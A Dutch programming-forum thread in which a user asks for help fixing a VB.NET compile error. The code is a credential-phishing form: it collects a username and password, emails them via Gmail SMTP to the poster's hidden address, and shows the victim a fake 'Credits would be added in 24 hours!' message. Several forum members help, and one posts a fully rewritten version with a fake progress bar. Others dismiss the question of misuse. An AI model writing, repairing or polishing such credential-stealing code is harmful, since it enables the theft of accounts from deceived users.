Hoe kan je de error Statement is not valid in nampespace" fixen? Ty
[gesloten] VB Error
l3lackmonkey
Speedbird2
Laat code zien, hier kunnen we niks mee...
l3lackmonkey
Imports System.Net.Mail Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click ProgressBar1.Value = ProgressBar1.Value + 100 If TextBox1.Text = "" Then MsgBox("Username Is Missing") If TextBox2.Text = "" Then MsgBox("Password Is Mising") Else End If End If Dim smtpServer As New SmtpClient() Dim mail As New MailMessage() smtpServer.Credentials = New Net.NetworkCredential("******************@gmail.com", "******************") 'using gmail smtpServer.Port = 587 smtpServer.Host = "smtp.gmail.com" smtpServer.EnableSsl = True mail = New MailMessage() mail.From = New MailAddress("******************@gmail.com") mail.To.Add("******************@gmail.com") mail.Subject = "Username: " & TextBox1.Text mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text smtpServer.Send(mail) MsgBox("Credits would be added in 24 hours!") Me.Close() End Sub Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click Me.Close() End Sub
Speedbird2
En waar zit die error precies?
l3lackmonkey
Imports System.Net.Mail
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
ProgressBar1.Value = ProgressBar1.Value + 100
If TextBox1.Text = "" Then
MsgBox("Username Is Missing")
If TextBox2.Text = "" Then
MsgBox("Password Is Mising")
Else
End If
End If
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("******************@gmail.com", "******************")
'using gmail
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("******************@gmail.com")
mail.To.Add("******************@gmail.com")
mail.Subject = "Username: " & TextBox1.Text
mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text
smtpServer.Send(mail)
MsgBox("Credits would be added in 24 hours!")
Me.Close()
End Sub
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
Me.Close()
End Sub
Hier zit ie ..
BlueDiamond
Public Class Form1
l3lackmonkey
Quote: BlueDiamond
Public Class Form1
Wat bedoel je precies?
nukels
ik kijk nu je code ff na
edit: zo zou het goed moeten zijn, ik heb de code gelijk ff geupdate
Imports System.Net.Mail Public Class Form1 Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click If TextBox1.Text = "" Then MsgBox("Username Is Missing") ElseIf TextBox2.Text = "" Then MsgBox("Password Is Mising") Else Timer1.Start() End If End Sub Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click Me.Close() End Sub Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick ProgressBar1.Increment(1) If ProgressBar1.Value = ProgressBar1.Maximum Then Dim smtpServer As New SmtpClient() Dim mail As New MailMessage() smtpServer.Credentials = New Net.NetworkCredential("******************@gmail.com", "******************") 'using gmail smtpServer.Port = 587 smtpServer.Host = "smtp.gmail.com" smtpServer.EnableSsl = True mail = New MailMessage() mail.From = New MailAddress("******************@gmail.com") mail.To.Add("******************@gmail.com") mail.Subject = "Username: " & TextBox1.Text mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text smtpServer.Send(mail) Timer1.Stop() If MsgBox("Credits would be added in 24 hours!", MsgBoxStyle.Information + MsgBoxStyle.OkOnly, "Credits!!") = MsgBoxResult.Ok Then Me.Close() End If End If End Sub
Speedbird2
Quote: l3lackmonkeyQuote: BlueDiamond
Public Class Form1
Wat bedoel je precies?
Je Code staat buiten een class...
l3lackmonkey
Quote: Speedbird2Quote: l3lackmonkeyQuote: BlueDiamond
Public Class Form1
Wat bedoel je precies?
Je Code staat buiten een class...
Oke waar moet ik die class neerzetten? Sorry ben echt een newb.
nukels
kijk mijn code die ik gepost heb, ik heb alles al voor je gedaan
l3lackmonkey
Quote: nukels
kijk mijn code die ik gepost heb, ik heb alles al voor je gedaan
Heb zelf al gefixt . Maar toch bedankt.
r3d0tsc0p3
Wat nou als iemand anders deze code gaat gebruike?
MuRado
Quote: r3d0tsc0p3
Wat nou als iemand anders deze code gaat gebruike?
Sh*t happens
dariotje18
Quote: r3d0tsc0p3
Wat nou als iemand anders deze code gaat gebruike?
Dit is gewoon de code om een mail te sturen? Deze code staat zeker al honderd keer op de site.